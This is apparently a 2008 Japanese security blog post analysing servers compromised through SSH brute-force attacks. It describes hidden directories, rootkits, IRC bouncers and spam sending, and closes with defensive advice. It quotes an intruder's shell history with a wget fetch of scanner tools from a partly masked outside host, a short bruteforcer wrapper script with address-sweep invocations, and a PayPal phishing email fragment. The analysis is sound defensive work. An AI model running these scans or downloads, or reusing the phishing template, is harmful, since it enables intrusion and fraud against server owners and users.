cNotes 検索 一覧 カテゴリ

sshブルートフォースアタック(brute force attack)続く

Published: 2008/02/03

 2006年末〜2007年にかけてかなりの量が検出されていたが、現状でも検出が続いている。今更感はありますが、もう一度その影響をまとめてみます。

 要はTCP22向けのscanおよびID/Passwordの辞書攻撃によりssh経由でログイン可能なIDを見つけようとするもの。自営のLinux、BSDのサーバーのログに大量のアクセス失敗ログが残っていることによって気づくことが多く、ネットワークにサーバを接続したままLinuxやBSDのインストール作業をしていると知らないうちに侵入を許していることも多い。そして侵入後ほとんどが以下の目的に利用されている。

  • ssh bruteforcerが仕掛けられる
  • IRC bouncerが仕掛けられる
  • spam senderが仕掛けられる
  • phising siteが仕掛けられる

侵入後の行動は15年前を思い出すレガシーというか教科書に載っているようなものである。そしてほとんどの例で大量の痕跡が残される。historyファイルにコマンド履歴等も消されず残っていることが多い。(当然消されていることもあるが)

 .bash_historyの例 
 w
 cat /proc/cpuinfo
 screen
 ps -ax
 cd /var/spool
 mkdir ". /"
 cd ". /"
 wget ***.ro/scaner.zip
 tar xvf scaner.zip
 rm -rf scaner.zip
 cd scan
 ls
 rm -rf README asn1 vuln.txt
 ls
 mv EXPLOIT a
 ls
 screen
 ps -ax
 ls
 cd /var/spool
 cd ". /"
 cd scan
 ls -a
 ftp
 tar zxvf ssh.tgz
 rm -rf ssh.tgz
 cd ssh
 ls -a
 rm -rf nobash.txt vuln.txt
 screen
 w
 uptime
 cat /etc/issue
 cd /var/tmp
 cd ssh
 ls -a
 screen -r

特徴をひとつひとつ見ていく。

/var/tmp、/var/spoolなどの書き込み権のあるディレクトリに見つかりにくい名前の隠しディレクトリを作成する。

 ls -al /var/tmp
 
 drwxrwxrwt  2 root root 4096  4月  3  04:40 .
 drwxrwxrwt  2 **** **** 4096  11月 12 20:32 . 
 drwxr-xr-x 26 root root 4096  4月  3  2007 ..

 2行目は". "(.の後ろに半角スペース)というディレクトリ名。教科書には"..."等の例でよく紹介されている。実際に行われているスペースを使ったものは古典的ではあるが確かに気づきにくいと再認識。

rootkitの利用

コマンドの置き換えやバックドア作成を行う。これらはchkrootkit等のツールで検出可能であるものがほとんど。使用されないことも多い。

ssh bruteforcerの例

以下のようなスクリプトで実行。この例ではscript名は「a」、scanツールは「pscan2」。この他にID/Password辞書がある。引数で指定したBクラスのアドレスをインクリメントしつつ順番にscanし、成功したらそのIPアドレスとID、Passwordを結果ファイルに記録する。大量に検出されるTCP22のscanパケットの送信源のひとつになるということである。

最後に起動されている「sshd」は裏口用のsshd。

 #!/bin/bash
 #
 if [ $# != 1 ]; then
         echo " usage: $0 <b class>"
         exit;
 fi
 rm -rf scan.log
 echo
 echo
 sleep 1
 ././pscan2 $1 22
 echo "[+] Alright.. bruteforcing..."
 ./sshd 100
 echo "[+] Sleeping 10 secs"
 sleep 10

コマンド実行例

 % ./a 60.30; ./a 60.31; ./a 60.32; ./a 60.33; ./a 60.34; ./a 60.35; 
 ./a 60.36; ./a 60.37; ./a 60.38; ./a 60.39; ./a 221.240; ./a 221.241;
 ./a  221.242; ./a 221.243; ./a 221.244; ./a 221.245; ./a 221.246;

IRC bouncer

IRC (Client) Proxy。機能的には名前のとおり。これ自体はMalwareでも何でもない普通のIRCサーバーソフト。psybncや数種類のプログラムがよく検出される。

ここでの使われ方は、他のbotとC&CのIRC通信を中継するために用いられる。C&C本体の隠蔽用。botnet解析や対策が行われる際に仕掛けられたこのサーバーがC&Cサーバーに見えてしまう。

spam sender

送信用スクリプト、文面情報、送信者情報のファイルをダウンロードしてきて実行する。同様のUNIX乗っ取り?例でのspam送信を分析したところほとんどがフィッシングメール送信に利用されるようだ。

 <html>
 <head>
 <title>Paypal-Account Alert</title>
 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
 </head>
 
 <body>
 <table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
      <td><img src="http://images.paypal.com/en_US/i/logo/email_logo.gif"></td>
        </tr>
          <tr> 
              <td height="20" bgcolor="#003366"> </td>
                </tr>
                  <tr> 
                      <td>  </td>
                        </tr>
                          <tr>
                              <td valign="top"><table width="65%" border="0" cellspacing="0" cellpadding="0">
                                      <tr> 
                                                <td width="2%"> </td>

まとめ

 実行されている内容は、懐かしい内容だが、同様の手法で攻撃に利用されているサーバーは大量に存在する。前述のように、隠蔽工作はかなりずさんに行われているようで、historyファイルに行動が残ったり、screenコマンドで仮想terminalを何重にも開いてコマンド実行していたり、侵入用のsshdが大量に開かれていたり、と発見できる要素は多々あるがホスティングサービスを利用している場合はなかなか見つけにくいのかもしれない。

 FedoraやFreeBSDなどの使いやすさが向上し利用者が増え、ホスティングサービスも拡大している状況でありながら、UNIX系のサーバーのセキュリティ対策はWindowsにくらべて(Windowsがあまりにもひどかったので)盲点になっているのかも?(「昔から進歩していない」とか、「歴史はloopしているだけ」とかの言い方もあるか...)

 ちなみにssh bruteforce attackへの対策でもっとも安易だが効果が高いのはsshdの起動ポートを22番とは違うポートに変更すること。ip tablesで接続元を限定するよりも簡単に行え効果があったりする。当然、根本的な対策ではないので、一時的な回避策ととらえていただきたいです。

[カテゴリ:botnet観察日記]

by jyake